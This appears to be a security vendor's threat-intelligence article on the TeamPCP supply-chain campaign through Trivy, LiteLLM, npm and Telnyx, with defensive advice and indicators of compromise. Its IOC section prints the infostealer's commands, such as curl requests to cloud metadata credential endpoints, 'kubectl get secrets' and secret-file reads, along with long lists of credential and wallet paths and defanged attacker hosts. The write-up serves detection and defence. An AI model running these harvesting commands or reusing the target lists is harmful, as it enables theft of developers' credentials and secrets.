Supply chain propagation attack: When trusted tools become attack vectors
Supply chain attacks are becoming one of the most dangerous ways for cybercriminals to spread malware. Instead of targeting organizations directly, attackers compromise the third-party tools and software developers rely on daily.
In this instance, it was a seemingly routine security update to a security scanning workflow that triggered a chain reaction.
A widespread supply chain attack leveraging GitHub, PyPI, and the npm package database resulted in the cascading compromise and data theft of user credentials and developer secrets.
Threat actor group TeamPCP compromised at least two versions of BerriAI's LiteLLM package hosted on PyPI, versions 1.82.7 and 1.82.8, spreading malware to affected users. What began as an upstream workflow change to Aqua Security’s Trivy scanner ultimately resulted in TeamPCP deploying the malicious Python script “proxy_server.py” into LiteLLM version 1.82.7 and path configuration file “litellm_init.pth” into LiteLLM version 1.82.8.
These two malicious files contain methods of persistence and infostealing capabilities designed to exfiltrate a vast array of sensitive data, including secrets for AWS, GitHub, Google Cloud, Azure, Kubernetes credentials, Docker configs, SSH keys, and cryptocurrency wallets Bitcoin, Litecoin, Zcash, and Solana.
A widely used package was compromised, and what started a small upstream change quickly escalated into credential theft, data exfiltration, and the potential for ransomware deployment.
How the attack spread across GitHub, PyPl, and npm
Initial compromise of software supply chain
On February 28, 2026, an automated campaign was launched by GitHub account “hackerbot-claw” that successfully compromised several public, high-profile GitHub repositories, including “aquasecurity/trivy”.
The root of this initial compromise was a misconfiguration in the Trivy repository that allowed for CI (continuous integration) privilege escalation, which granted “hackerbot-claw” a privileged PAT (personal access token) and allowed elevated interaction with the GitHub API.
With these permissions, attackers established an initial foothold and took control of the repository.

Unsuccessful remediation attempt
On March 1, 2026, the Trivy team identified this malicious workflow push and began efforts to remediate by rotating credentials to remove the attackers from their environment. Although an attempt was made to rotate credentials, this rotation was non-atomic, and TeamPCP was able to maintain access.
As some credentials were changed, other credentials that were still under attacker control were used to leak the newly changed credentials, making the remediation attempt a failure.
This unsuccessful attempt is a stark example of how important careful, comprehensive, and absolute remediation is when combating advanced threat groups.
Malicious code injection
With continued access, TeamPCP force-pushed malicious code to 76 of 77 version tags in the “aquasecurity/trivy-action” repository, all seven tags in “aquasecurity/setup-trivy”, and “aquasecurity/trivy” version 0.69.4.


The malicious push to both “aquasecurity/trivy-action” and “aquasecurity/setup-trivy” contained malicious files “entrypoint.sh” and “action.yaml” respectively. These files are very similar and only differ in how the malicious Trivy binary is ultimately installed. The injected instructions capture secrets in memory ($MEMORY_SECRETS) as well as shell secrets ($SHELL_RUNNER_GOODIES).
Once captured, the secrets are exfiltrated to a typosquatted domain “scan[.]aquasecurtiy[.]org” or a public GitHub repository named “tpcp-docs” using the captured GitHub PAT. A separate fallback domain has been discovered that is used for the same purpose, “plug-tab-protective-relay.trycloudflare[.]com”.


Once the secrets are exfiltrated, the compromised version of Trivy (held under the “latest” tag at the time), version 0.69.4, is installed.

Credential theft, infostealing, and persistence
The malicious Trivy binary performs much more extensive infostealing tasks, capturing credentials and secrets for the local system and several different vendors including AWS, npm, GitHub, Google, Kubernetes, Slack, and Discord. Collected data is sent to the previously mentioned typosquatted domain, “scan[.]aquasecurtiy[.]org”.
The malicious binary additionally uses nested base64 encoded data to drop the first version of “sysmon.py”. The “sysmon.py” file is installed as a persistent system service and performs the final C2 capabilities in the chain of compromise.
This C2 client initially sleeps for five minutes, then enters a loop of its core logic that repeats every 50 minutes. Each loop (in this version) uses the “urlLib.request.urlRetrieve” Python method to reach out to an Internet Computer Protocol (ICP) Canister, “tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io”.
On analysis, this link returns one of three YouTube music videos: Rick Astley’s “Never Gonna Give You Up” (commonly referred to as a “Rick Roll”), Queen’s “The Show Must Go On”, or the English Remaster of the Touhou Project video game background song “Bad Apple!!”.
The response to this request is saved to “/tmp/.pg_state”. If the new download URL does not contain “youtube.com” or a previously recorded URL within “/tmp/.pg_state”, the contents of the response are saved to “/tmp/pglog” and executed. Threat Intelligence suspects that the response to this ICP Canister request is actively changed to either prevent analysis or execute arbitrary commands through the C2 infrastructure.


The timeline suggests that the malicious Trivy force-push events eventually led to the PyPI account of LiteLLM maintainer “krrishdholakia” being hijacked. A public advisory was released by the two LiteLLM maintainers, “krrishdholakia” and “ishaan-jaff”, stating that “a maintainer’s PyPI account may have been compromised.” User “krrishdholakia” has since been removed from the PyPI LiteLLM account as a maintainer.


The compromise of the “krrishdholakia” PyPI account enabled TeamPCP to increase their impact by introducing malicious code into two versions of LiteLLM, 1.82.7 and 1.82.8. Version 1.82.7 contained a malicious modification to “proxy_server.py”. Version 1.82.8 retained the malicious “proxy_server.py” payload and additionally introduced “litellm_init.pth”, which enabled automatic execution on Python startup.
Both files have base64 encoded infostealer payloads that search a system extensively for the same massive range of saved credentials, tokens, configuration files, and other secrets mentioned previously. The infostealer payloads will upload a package containing stolen information named “tpcp.tar.gz” to the third typosquatted domain, “models[.]litellm[.]cloud”.

The effective difference between these two files is crucial, “proxy_server.py” requires user interaction for execution, and “litellm_init.pth” does not. Python path configuration files (“.pth”) are processed on every new Python instance and executed automatically. Successful execution of “proxy_server.py” requires a script to import “litellm.proxy”, which results in payload “p.py” being written and executed from a temporary directory, leading to an encoded version of “sysmon.py” being deployed.

Both files had the second iteration of “sysmon.py” embedded and nested under three levels of base64 encoding, where the attacker-controlled C2 URL was changed. The URL now points to another typosquatted domain, “checkmarx[.]zone” in place of “scan[.]aquasecurtiy[.]org”.
Exploit discovery
The exploit was initially discovered by FutureSearch researcher Callum McMahon due to an unintentionally coded fork bomb within the malicious LiteLLM file “litellm_init.pth”.
As mentioned, the “.pth” extension allows this file to be parsed and executed on every new Python instance, requiring no execution on the user end. This file also uses the Python method “subprocess.Popen”, which itself spawns a new Python process, calling “litellm_init.pth”. Considering the other resource intensive actions that this file takes, this recursive loop would cause an infected machine to quickly become unresponsive after several Python instances are spawned and continue to spawn.

TeamPCP’s Next Steps
In a perfect world, on the announcement of the Trivy & LiteLLM compromises, the affected communities would diligently rotate any sensitive credentials, keys, and secrets. However, delays in complete credential rotation provided TeamPCP with the opportunity to partner with the Vect ransomware group, who have announced they will be providing affiliate keys to every member of the BreachForums community.

According to Vect, affiliate keys have not been distributed yet. The ransomware group is actively working toward their affiliate key distribution system, replying to comments with updates on the status.


This announcement is likely to facilitate increased ransomware activity against the organizations directly affected by the Trivy & LiteLLM compromise. Additionally, any opportunistic threat actor that was previously independent can now cash in directly to Vect if they successfully compromise an organization.

TeamPCP pivots to deploying CanisterWorm
Immediately after npm credentials were stolen through the Trivy supply chain attack, TeamPCP pivoted to deploying the CanisterWorm script, which was able to propagate throughout organizations by chaining stolen credentials from victims, and deploying a malicious “deploy.js” file for future victims.
When newly published npm packages are installed with the malicious “deploy.js”, TeamPCP's success multiplies exponentially. A more recent version of this attack uses “index.js”, which also includes the “pgmon” payload used in “sysmon.py” and captures available npm credentials, leading to the propagation of this attack. By altering and infecting authentication related configuration files, unsuspecting or uninformed victims keep the campaign alive, contributing to TeamPCP's success rate.


Telnyx PyPI compromise
An additional campaign resulting from the originally leaked credentials affected Telnyx, an AI-based communications platform. The malicious packages spread through Telnyx’s PyPI account had an identical RSA-4096 key to the prior LiteLLM payloads, providing strong evidence to attribute this attack to TeamPCP.
This attack introduced a new technique into TeamPCP’s arsenal: WAV steganography. Within the malicious Telnyx package, a “_client.py” file holds base64 encoded (and obfuscated) payloads for both Windows and Linux machines. Both payloads use the “urllib” Python library to download a valid “WAV” audio file from malicious IP “hxxp://83[.]142[.]209[.]203:8080”.
On Windows machines, a “hangup.wav” is downloaded as a legitimate tool, “msbuild.exe”, likely to evade detection and analysis in simple process monitoring tools. However, this file is downloaded into the startup folder, allowing persistence by triggering execution on each user logon.
On Linux machines, “ringtone.wav” is downloaded from the same IP as “temp.wav” to the system temporary directory.


Once downloaded, both valid “WAV” files are decrypted using a simple XOR decryption: The first eight bytes are used to create the XOR key, and each byte is XORed against that number.
On Windows, the resulting payload is saved and executed as a “.tmp” file and uses DonutLoader, a well-known shellcode loader, to load an Adaptix C2 beacon. On Linux, the payload appears to be another infostealer. Although the infrastructure holding these files is no longer active, the output of “ringtone.wav” is saved to “/tmp/c” and collected data is compressed and uploaded to the IP “hxxp://83[.]142[.]209[.]203:8080” as “tpcp.tar.gz”.

Why supply chain attacks are so effective
Supply chain compromise continues to be one of the widest impacting attacks in the modern era of infostealing malware. They are effective because they exploit trust at scale.
Attackers compromise widely used tools, packages, or workflows, allowing malicious code to spread quickly across multiple environments. Because security teams often have limited visibility into third-party dependencies, these automated updates can introduce risk without immediate detection.
In this instance, the widespread downstream impact was immediately felt, and collected credentials & secrets are actively being leveraged to compromise other organizations, vendors and packages.
Although most of this campaign has consisted of infostealing, the amount of data collected has now reached a level to the point where TeamPCP appears to be pivoting into ransomware campaigns for monetization of their work.
Each new attack results in more stolen information and further monetization, propagating TeamPCP’s impact.
How to prevent supply chain propagation attacks
Preventing a similar attack to this one requires a shift from detection to prevention regarding what can run in your environment.
This begins with Application Allowlisting so only approved applications, scripts, and dependencies are able to execute. Even if a trusted package is compromised, the bad behavior is blocked.
Applying least privilege across your environment also ensures that if malicious code runs, it cannot access sensitive systems or data.
Implementing Zero Trust across your environment requires assuming that both internal and external components will be compromised and enforcing strict controls to ensure that when it happens, the damage is contained.
FAQs
What is a supply chain attack?
A supply chain attack is when attackers compromise a trusted vendor, software package, or service to distribute malware to downstream users.
Why are package managers like PyPl and npm targeted?
These tools are widely used and trusted by developers, making them an ideal target for attackers.
What is an infostealer?
An infostealer is malware designed to collect sensitive information such as credentials, API keys, and financial data from infected systems.
How do attackers turn infostealers into ransomware attacks?
Stolen credentials allow attackers to move laterally, escalate privileges, and eventually deploy ransomware across the environment.
How can organizations reduce supply chain risk?
By enforcing application control, limiting privileges, monitoring dependencies, and adopting a Zero Trust security model.
IOCs
Files
Name: litellm-1.82.7.tar.gz
SHA256: 8A2A05FD8BDC329C8A86D2D08229D167500C01ECAD06E40477C49FB0096EFDEA
Name: litellm-1.82.8.tar.gz
SHA256: D39F4E7A218053CCE976C91EACF184CF09A6960C731CC9D66D8E1A53406593A5
Name: litellm_init.pth
SHA256: 71E35AEF03099CD1F2D6446734273025A163597DE93912DF321EF118BF135238
Name: proxy_server.py
SHA256: A0D229BE8EFCB2F9135E2AD55BA275B76DDCFEB55FA4370E0A522A5BDEE0120B
Name: sysmon.py (V1)
SHA256: B219CE2263C913655269946B884C38EE3DC577A7F1221D4524F2B2BCEB1F55AD
Name: sysmon.py (V2)
SHA256: 4F997EBBE069453F91BA4CEF5979BDAD4D04BF33931740EC22E1CAEFC1F86A27
Name: entrypoint.sh
SHA256: 18A24F83E807479438DCAB7A1804C51A00DAFC1D526698A66E0640D1E5DD671A
Name: trivy-from-amd-1-7-5
SHA256: 822DD269EC10459572DFAAEFE163DAE693C344249A0161953F0D5CDD110BD2A0
Name: trivy-from-amd-1-7-6
SHA256: 7B5CC85E82249B0C452C66563EDCA498CE9D0C70BADEF04AB2C52ACEF4D629CA
Name: action.yaml
SHA256: A3BD86B8D621047FBCF79D3DC774D3F21CEA5E7940C9E988B141454489AD7711
Name: deploy.js
SHA256: 5E2BA7C4C53FA6E0CEF58011ACDD50682CF83FB7B989712D2FCF1B5173BAD956
Name: index.js
SHA256: C37C0AE9641D2E5329FCDEE847A756BF1140FDB7F0B7C78A40FDC39055E7D926
Name: _client.py
SHA256: 23B1EC58649170650110ECAD96E5A9490D98146E105226A16D898FBE108139E5
Name: hangup.wav/msbuild.exe
SHA256: A0A8857E8A65C05778CF6068AD4C05EC9B6808990AE1427E932D2989754C59A4
Commands
- run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
- run('printenv')
- run('env | grep AWS_')
- run('curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} 2>/dev/null || true')
- run('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true')
- run('find /var/secrets /run/secrets -type f 2>/dev/null | xargs -I{} sh -c \'echo “=== {} ===“; cat “{}” 2>/dev/null\'')
- run('env | grep -i kube; env | grep -i k8s')
- run('kubectl get secrets --all-namespaces -o json 2>/dev/null || true')
- run('env | grep -i google; env | grep -i gcloud')
- run('cat $GOOGLE_APPLICATION_CREDENTIALS 2>/dev/null || true')
- run('env | grep -i azure')
- run('env | grep -iE “(DATABASE|DB_|MYSQL|POSTGRES|MONGO|REDIS|VAULT)”')
- run('wg showconf all 2>/dev/null || true')
- run('grep -r “hooks.slack.com\|discord.com/api/webhooks” . 2>/dev/null | head -20')
- run('grep -rE “api[_-]?key|apikey|api[_-]?secret|access[_-]?token” . --include=“*.env*” --include=“*.json” --include=“*.yml” --include=“*.yaml” 2>/dev/null | head -50')
- run('env | grep -i solana')
- run('grep -r “rpcuser\|rpcpassword\|rpcauth” /root /home 2>/dev/null | head -50')
- run('cat /var/log/auth.log 2>/dev/null | grep Accepted | tail -200')
- run('cat /var/log/secure 2>/dev/null | grep Accepted | tail -200')
Domains
- models[.]litellm[.]cloud
- plug-tab-protective-relay[.]trycloudflare[.]com
- scan[.]aquasecurtiy[.]org
- ttdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io
- checkmarx[.]zone
IPs
- 45[.]148[.]10[.]212
- 83[.]142[.]209[.]11
- 83[.]142[.]209[.]203
SSH information
/.ssh/id_rsa
/.ssh/id_ed25519
/.ssh/id_ecdsa
/.ssh/id_dsa
/.ssh/authorized_keys
/.ssh/known_hosts
/.ssh/config
Environment variables
.env
.env.local
.env.production
.env.development
.env.staging
env | grep -iE “(DATABASE|DB_|MYSQL|POSTGRES|MONGO|REDIS|VAULT)
System credentials
/etc/passwd
/etc/shadow
cat /var/log/auth.log | grep Accepted
cat /var/log/secure | grep Accepted
History files
bash history
zsh_history
sh_history
mysql_history
psql_history
rediscli_history
AWS credentials
/.aws/credentials
/.aws/config
AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN
AWS_DEFAULT_REGION
curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
Kubernetes credentials
/etc/Kubernetes/admin.conf
/etc/Kubernetes/kubelet.conf
/etc/kubernetes/controller-manager.conf
/etc/Kubernetes/scheduler.conf
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/ca.crt
Google Cloud credentials
/root/.config/gcloud/application_default_credentials.json
$GOOGLE_APPLICATION_CREDENTIALS
CI/CD Secrets
terraform.tfvars (Terraform)
gitlab-ci.yml (GitLab)
.travis.yml (Travis CI/CD)
JenkinsFile (Jenkins automation server)
.drone.yml (Drone CI/CD)
anchor.toml (anchor dev tool framework)
ansible.cfg (provisioning automation)
*/.docker/config.json
*/.azure
.gitconfig
Cryptocurrency wallets
Bitcoin.conf
Litecoin.conf
Dogecoin.conf
zcash.conf
dash.conf (dashcoin)
rippled.cfg
bitmonero.conf
/.bitcoin/wallet*.dat
/.ethereum/keystore
/.cardano
/.config.solana
Miscellaneous credentials
npmrc (npm)
vault-token (hashicorp vault)
netrc (remote FTP creds)
lftp/rc (LFTP file transfer)
msmtprc (SMTP client)
my.cnf (MySQL saved creds)
pgpass (PostgreSQL)
mongorc.js (mongodb)
sasl_passwd (postfix)
ldap.conf (OpenLDAP)
slapd.conf (OpenLDAP)
/etc/wireguard.conf (Wireguard)
*/.helm (Kubernetes package manager)
/etc/ssl/private/*.key (OpenSSL)
/etc/letsencrypt/*.pem (LetsEncrypt cert)
hooks.slack.com (Slack chat)
discord.com/api/webhooks (Discord)
.jpg)


